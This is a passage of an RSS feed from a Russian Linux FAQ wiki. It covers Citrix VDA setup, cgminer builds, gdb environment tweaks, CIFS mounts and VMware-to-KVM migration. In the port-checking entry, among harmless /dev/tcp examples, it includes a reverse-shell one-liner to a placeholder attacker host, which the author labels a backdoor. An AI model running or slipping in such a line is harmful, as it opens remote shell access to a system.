#net ads join -U $AD_USER
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Script&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;script&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-13932&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;setup_citrix_vda_13&quot;&gt;Setup Citrix VDA 1.3&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
systemctl enable postgresql.service
systemctl start postgresql
postgresql-setup initdb
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST=&amp;quot;v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru&amp;quot; \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_LDAP_LIST=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_SEARCH_BASE=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Setup Citrix VDA 1.3&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;setup_citrix_vda_13&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;13933-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>cgminer-update</title>
            <link>https://wiki.autosys.tk/linux_faq/cgminer-update</link>
            <description>&lt;pre class=&quot;code&quot;&gt;tar xfvz AMD-APP-SDK-v2.8-lnx32.tgz
chmod +x Install-AMD-APP.sh
./Install-AMD-APP.sh
rm -rf /opt/AMD-APP-SDK-v2.4-lnx32/
coldreboot&lt;/pre&gt;

&lt;p&gt;
Это все устанавливается в &lt;strong&gt;/opt/AMDAPP&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
И в update.sh надо бы прописать /opt/AMDAPP вместо /opt/AMD-APP-SDK-v2.4-lnx32/&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
update.sh&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

./autogen.sh
ATISTREAMSDKROOT=&amp;quot;/opt/AMD-APP-SDK-v2.4-lnx32/&amp;quot;  CFLAGS=&amp;quot;-O2 -Wall -march=native&amp;quot; ./configure --enable-scrypt --enable-bitforce --bindir=&amp;quot;/opt/miners/cgminer&amp;quot; --prefix=&amp;quot;/opt/miners/cgminer&amp;quot;
make -j3

sync
./cgminer -n&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;ln -sf /opt/AMDAPP/include/CL /usr/include
ln -sf /opt/AMDAPP/lib/x86/* /usr/lib/
ldconfig

cd /opt/miners
rm -rf cgminer
git clone https://github.com/ckolivas/cgminer.git
cp /mnt/data/update_bamt/ADL_SDK/include/* /opt/miners/cgminer/ADL_SDK/
cd cgminer&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>change_running_process_environment_variables_on_the_fly</title>
            <link>https://wiki.autosys.tk/linux_faq/change_running_process_environment_variables_on_the_fly</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня есть &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;-приложение, работающее с локальным X-сервером. мне нужно переместить его на удаленный X-сервер. &lt;br/&gt;

Для этого, нужно “на лету” изменить значение переменной DISPLAY в рабочем окружении процесса.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-393&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;варианты&quot;&gt;Варианты&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;394-425&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;с_помощью_дебаггера&quot;&gt;С помощью дебаггера&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;(gdb) attach process_id
(gdb) call putenv (&amp;quot;DISPLAY=your.new:value&amp;quot;)
(gdb) detach&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0435\u0431\u0430\u0433\u0433\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_\u0434\u0435\u0431\u0430\u0433\u0433\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;426-570&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;вызов_функций_setenv_и_unsetenv&quot;&gt;Вызов функций setenv и unsetenv&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 setenv \u0438 unsetenv&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u0437\u043e\u0432_\u0444\u0443\u043d\u043a\u0446\u0438\u0439_setenv_\u0438_unsetenv&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;571-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 21 Feb 2019 09:08:45 +0000</pubDate>
        </item>
        <item>
            <title>check_host_port_availability</title>
            <link>https://wiki.autosys.tk/linux_faq/check_host_port_availability</link>
            <description>
&lt;p&gt;
Иногда бывает нужно проверить доступность хоста по IP-адресу и порту.Проверить подключение можно с помощью &lt;strong&gt;nc&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nc -v ~~IP-ADDRESS~~ ~~PORT~~&lt;/pre&gt;

&lt;p&gt;
А если нет &lt;strong&gt;nc&lt;/strong&gt;, то есть чистая конструкцияя на &lt;strong&gt;bash&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;printf &amp;quot;&amp;quot; 2&amp;gt;&amp;gt;/dev/null &amp;gt;&amp;gt;/dev/tcp/~~IP-ADDRESS~~/~~PORT~~ &amp;amp;&amp;amp; echo &amp;quot;Ok&amp;quot; || echo &amp;quot;Failed&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Например, дождаться запуска сервиса (в данном случае &lt;strong&gt;docker&lt;/strong&gt;) можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;timeout 60 bash -c &amp;#039;until printf &amp;quot;&amp;quot; 2&amp;gt;&amp;gt;/dev/null &amp;gt;&amp;gt;/dev/tcp/$0/$1; do sleep 1; done&amp;#039; 0.0.0.0 2375&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/dev/tcp&lt;/strong&gt; - это виртуальная функция &lt;strong&gt;bash&lt;/strong&gt;, то есть на самом деле такого устройства нету. &lt;br/&gt;

Еще примеры. &lt;br/&gt;

Проверить доступность &lt;strong&gt;ssh&lt;/strong&gt;-сервера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat &amp;lt; /dev/tcp/127.0.0.1/22
SSH-2.0-OpenSSH_7.4&lt;/pre&gt;

&lt;p&gt;
Сделать запрос на HTTP-сервер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;exec 15&amp;lt;&amp;gt;/dev/tcp/consolechars.wordpress.com/80
echo -e &amp;quot;GET / HTTP/1.1\n\n&amp;quot; &amp;gt;&amp;amp;15
cat &amp;lt;&amp;amp;15&lt;/pre&gt;

&lt;p&gt;
Пробросить порт на удаленный сервер (фактически - сделать бекдор):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/attackersip/port 0&amp;gt;&amp;amp;1&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 12 Dec 2022 12:26:17 +0000</pubDate>
        </item>
        <item>
            <title>cifs_mount_no_such_file_or_directory</title>
            <link>https://wiki.autosys.tk/linux_faq/cifs_mount_no_such_file_or_directory</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;конфигурация&quot;&gt;Конфигурация&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Хост &lt;strong&gt;Ubuntu 19.04&lt;/strong&gt; в домене &lt;strong&gt;Windows&lt;/strong&gt;. &lt;br/&gt;

В домен загнан с помощью &lt;strong&gt;samba&lt;/strong&gt; и &lt;strong&gt;winbind&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-172&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке монтирования &lt;strong&gt;DFS&lt;/strong&gt;-ресурса с помощью команды типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mount -v -t cifs //dfs/homefolder$/username /mnt -o username=user.name,rw&lt;/pre&gt;

&lt;p&gt;
вылезает ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mount error(2): No such file or directory&lt;/pre&gt;

&lt;p&gt;
В &lt;strong&gt;dmesg&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;CIFS: Attempting to mount //ds01/homefolder$/usik.ma
CIFS VFS: cifs_mount failed w/return code = -2&lt;/pre&gt;

&lt;p&gt;
При этом, к ресурсам, расшареным на серверах (не в &lt;strong&gt;DFS&lt;/strong&gt;) доступ имеется.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;173-730&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проблема оказалась в отсутствии пакета &lt;strong&gt;keyutils&lt;/strong&gt; и все разрешилось с его установкой.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install keyutils&lt;/pre&gt;

&lt;p&gt;
Также нормально заработал &lt;strong&gt;pam.mount&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;731-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 22 Jul 2019 11:17:08 +0000</pubDate>
        </item>
        <item>
            <title>cloud.mail.ru_linux_clients</title>
            <link>https://wiki.autosys.tk/linux_faq/cloud.mail.ru_linux_clients</link>
            <description>
&lt;p&gt;
После того, как &lt;strong&gt;mail.ru&lt;/strong&gt; завершила официальную поддержку клиента под Linux, я начал собирать информацию о свободном ПО, которое можно использовать для работы с этим облаком. &lt;br/&gt;

&lt;a href=&quot;https://github.com/yar229/WebDavMailRuCloud&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/yar229/WebDavMailRuCloud&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/yar229/WebDavMailRuCloud&lt;/a&gt;  - Это конвертер протокола Mail.RU в WebDAV. Написан на .NET. Проект живой (в конце 2020)&lt;br/&gt;

&lt;a href=&quot;https://github.com/erastmorgan/Mail.Ru-.net-cloud-client&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/erastmorgan/Mail.Ru-.net-cloud-client&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/erastmorgan/Mail.Ru-.net-cloud-client&lt;/a&gt;   - &lt;strong&gt;&lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt;&lt;/strong&gt; для работы с облаком на .Net4.8 C#. Проект заброшен. &lt;br/&gt;

&lt;a href=&quot;https://github.com/erastmorgan/MailRuCloudClientDotNETCore&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/erastmorgan/MailRuCloudClientDotNETCore&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/erastmorgan/MailRuCloudClientDotNETCore&lt;/a&gt; - &lt;strong&gt;&lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt;&lt;/strong&gt; написан на .DotNET Core. Вроде иногда обновляется.
&lt;a href=&quot;https://gitlab.com/Kanedias/MARC-FS&quot; class=&quot;urlextern&quot; title=&quot;https://gitlab.com/Kanedias/MARC-FS&quot; rel=&quot;ugc nofollow&quot;&gt;https://gitlab.com/Kanedias/MARC-FS&lt;/a&gt; - говорят юзабелен - FUSE filesystem for Mail.Ru Cloud &lt;br/&gt;

&lt;a href=&quot;https://github.com/pozitronik/CloudMailRu&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/pozitronik/CloudMailRu&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/pozitronik/CloudMailRu&lt;/a&gt; - плагин для &lt;strong&gt;TotalCommander&lt;/strong&gt;. &lt;br/&gt;

&lt;a href=&quot;https://cloudcross.mastersoft24.ru/&quot; class=&quot;urlextern&quot; title=&quot;https://cloudcross.mastersoft24.ru/&quot; rel=&quot;ugc nofollow&quot;&gt;https://cloudcross.mastersoft24.ru/&lt;/a&gt; (&lt;a href=&quot;https://github.com/MasterSoft24/CloudCross&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/MasterSoft24/CloudCross&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/MasterSoft24/CloudCross&lt;/a&gt;) - кажется то что надо! форкнул себе - &lt;a href=&quot;https://github.com/MikeQ123/CloudCross&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/MikeQ123/CloudCross&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/MikeQ123/CloudCross&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 15 Jun 2021 14:21:50 +0000</pubDate>
        </item>
        <item>
            <title>connect_to_remote_xorg_using_xephyr</title>
            <link>https://wiki.autosys.tk/linux_faq/connect_to_remote_xorg_using_xephyr</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://nek0.eu/posts/2014-10-25-Desktop-forwarding-via-X-using-Xephyr.html&quot; class=&quot;urlextern&quot; title=&quot;https://nek0.eu/posts/2014-10-25-Desktop-forwarding-via-X-using-Xephyr.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://nek0.eu/posts/2014-10-25-Desktop-forwarding-via-X-using-Xephyr.html&lt;/a&gt;
на клиентской машине (той с которой подключаемся) разрешаем биндить порты непривилегированным пользователям (необязательно):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;net.ipv4.ip_unprivileged_port_start=0&amp;#039; | sudo tee -a /etc/sysctl.d/50-unprivileged-ports.conf
sysctl --system&lt;/pre&gt;

&lt;p&gt;
на клиентской машине (той с которой подключаемся) ставим &lt;strong&gt;xephyr&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install xserver-xephyr&lt;/pre&gt;

&lt;p&gt;
На клиентской машине файлике &lt;strong&gt;~/.ssh/config&lt;/strong&gt; или &lt;strong&gt;/etc/ssh/ssh_config&lt;/strong&gt; прописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Host *
    ForwardAgent yes
    ForwardX11 yes
    ForwardX11Trusted yes&lt;/pre&gt;

&lt;p&gt;
На серверной машине (к которой подключаемся) в файлике &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt; должно быть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;X11Forwarding yes&lt;/pre&gt;

&lt;p&gt;
Строим туннель до системы в удаленной локалке (если серверная машина к которой подключаемся находится за другой):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh -f -N -L 2233:xubuntu:22 remote-server -l user&lt;/pre&gt;

&lt;p&gt;
На клиентской машине запускаем &lt;strong&gt;Xephyr&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Xephyr :1 -screen 800x600 -resizeable &amp;amp;&lt;/pre&gt;

&lt;p&gt;
И подключаем сессию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DISPLAY=:1 ssh -Y &amp;lt;user&amp;gt;@&amp;lt;host&amp;gt;&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 14 Oct 2019 12:48:15 +0000</pubDate>
        </item>
        <item>
            <title>convert_absolute_synlinks_into_relative</title>
            <link>https://wiki.autosys.tk/linux_faq/convert_absolute_synlinks_into_relative</link>
            <description>
&lt;p&gt;
Существуют два варианта конвертирования абсолютных симлинков в относительные.
Первый - с помощью &lt;strong&gt;readlink&lt;/strong&gt; (если он есть):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /mnt/hdd/Downloads/FreeBSD-11.0-RELEASE-amd64-disc1_/ &amp;amp;&amp;amp; find . -lname &amp;#039;/*&amp;#039; | while read l ; do   echo ln -sf $(echo $(echo $l | sed &amp;#039;s|/[^/]*|/..|g&amp;#039;)$(readlink $l) | sed &amp;#039;s/.....//&amp;#039;) $l; done | sh&lt;/pre&gt;

&lt;p&gt;
Второй - с помощью &lt;strong&gt;symlinks&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install symlinks
cd /mnt/hdd/Downloads/FreeBSD-11.0-RELEASE-amd64-disc1_/
symlinks -cr .&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>convert_vmware_to_kvm</title>
            <link>https://wiki.autosys.tk/linux_faq/convert_vmware_to_kvm</link>
            <description>
&lt;p&gt;
Нужно переместить часть машин из инфраструктуры &lt;strong&gt;vSphere&lt;/strong&gt; на &lt;strong&gt;KVM&lt;/strong&gt;.
Для этого понадобятся хост с &lt;strong&gt;linux+qemu+kvm&lt;/strong&gt; и набр утилит &lt;strong&gt;libguestfs-tools&lt;/strong&gt; (в частности - &lt;strong&gt;virt-v2v&lt;/strong&gt;)
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;импорт_машин_из_vsphere_в_fedora_server_25&quot;&gt;Импорт машин из vSphere в Fedora Server 25&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Исполнять перенесенные машины можно на любом дистрабутиве linux, однако проще всего всего процесс миграции идет под &lt;strong&gt;rpm-based&lt;/strong&gt; системой с текущей стабильной версией &lt;strong&gt;libguestfstools&lt;/strong&gt;. &lt;br/&gt;

На данный момент такой версией дистрибутива является &lt;strong&gt;Fedora Server 25&lt;/strong&gt;.
Итак ставим &lt;strong&gt;Fedora Server 25&lt;/strong&gt; с дефолтным набором ПО. А затем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dnf -y install @virt* policycoreutils-python bridge-utils virt-v2v *guestf* 
echo LIBGUESTFS_BACKEND=direct &amp;gt; /etc/envoronment
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
rpm -iv ./virtio-win-0.1.126-2.noarch.rpm&lt;/pre&gt;

&lt;p&gt;
Обязательно перезагружаемся:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;

&lt;p&gt;
Теперь можно импортировать виртуальную машину:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;virt-v2v -v -x -ic vpx://DOMAIN%5cadmin@vcenter.domain.local/Datacenter%20Name/Cluster%20Name/esx_host_name?no_verify=1  -os storage-pool-name vm-name&lt;/pre&gt;

&lt;p&gt;
После импорта можно поправить конфигурацию сетевого интерфейса (установить корректный интерфейс для bridge) и диска (установить режим кеширования и режим ввода\вывода). 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  Cache mode: none
  I/O mode: native&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043c\u043f\u043e\u0440\u0442 \u043c\u0430\u0448\u0438\u043d \u0438\u0437 vSphere \u0432 Fedora Server 25&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043c\u043f\u043e\u0440\u0442_\u043c\u0430\u0448\u0438\u043d_\u0438\u0437_vsphere_\u0432_fedora_server_25&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;275-1815&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;некоторые_нюансы_составления_uri_для_virt-v2v&quot;&gt;Некоторые нюансы составления URI для virt-v2v&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
 Формат &lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt; такой: &lt;br/&gt;

&lt;strong&gt;_username_@_vcenter_address_/_DataCenter_Name_/_Cluster_Name_/_hostname_&lt;/strong&gt; &lt;br/&gt;

Если пользователь доменный, то его в его имени в &lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt;&lt;/strong&gt; символ &lt;strong&gt;\&lt;/strong&gt; нужно заменять на &lt;strong&gt;%5c&lt;/strong&gt;, то есть будет как-то так: &lt;strong&gt;DOMAIN%5cusername&lt;/strong&gt;. Использовать экранирование &lt;strong&gt;\\&lt;/strong&gt; не получится. &lt;br/&gt;

Если не указывать имя пользователя, то будут ошибки на этапе скачивания диска vmdk:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -q --insecure --head --silent --url &amp;#039;....&amp;#039;
HTTP/1.1 401 Unauthorized&lt;/pre&gt;

&lt;p&gt;
При указании имени датацентра и кластера важен регистр символов! &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Пробелы в названиях датацентра и кластера заменяем на &lt;strong&gt;%20&lt;/strong&gt;, символ &lt;strong&gt;\&lt;/strong&gt; заменяем на &lt;strong&gt;%5c&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u044e\u0430\u043d\u0441\u044b \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f URI \u0434\u043b\u044f virt-v2v&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435_\u043d\u044e\u0430\u043d\u0441\u044b_\u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f_uri_\u0434\u043b\u044f_virt-v2v&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1816-2842&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;импорт_в_ubuntu_1604&quot;&gt;Импорт в ubuntu 16.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update -y &amp;amp;&amp;amp; sudo apt-get upgrade -y &amp;amp;&amp;amp; sudo apt-get install -y nano alien qemu-kvm libvirt-bin  bridge-utils libguestfs-tools
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
sudo alien -i ./virtio-win-0.1.126-2.noarch.rpm&lt;/pre&gt;

&lt;p&gt;
Перезагружаемся и приступаем к импорту.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;virt-v2v -v -x -ic vpx://DOMAIN%5cadmin@vcenter.domain.local/Datacenter%20Name/Cluster%20Name/esx_host_name?no_verify=1  -os storage-pool-name vm-name&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043c\u043f\u043e\u0440\u0442 \u0432 ubuntu 16.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043c\u043f\u043e\u0440\u0442_\u0432_ubuntu_1604&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2843-3406&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;всякие_ошибки_virt-v2v&quot;&gt;Всякие ошибки virt-v2v&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Однако, в &lt;strong&gt;Cent-&lt;abbr title=&quot;Operating System&quot;&gt;OS&lt;/abbr&gt; 6.8&lt;/strong&gt; возникали ошибки типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;libvirt error code: 45, message: authentication failed: Password request failed
libvirt error code: 45, message: authentication failed: Username request failed&lt;/pre&gt;

&lt;p&gt;
Оказалось, нужно создать файлик &lt;strong&gt;~/.netrc&lt;/strong&gt; с таким содержимым: &lt;strong&gt;machine&lt;/strong&gt; vCenter_hostname &lt;strong&gt;login&lt;/strong&gt; vCenter_login &lt;strong&gt;password&lt;/strong&gt; vCenter_password
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;machine vcenter.domain.local     login   DOMAIN%5cadmin        password        admin_pass&amp;quot; &amp;gt; ~/.netrc
chmod 600  ~/.netrc\&lt;/pre&gt;

&lt;p&gt;
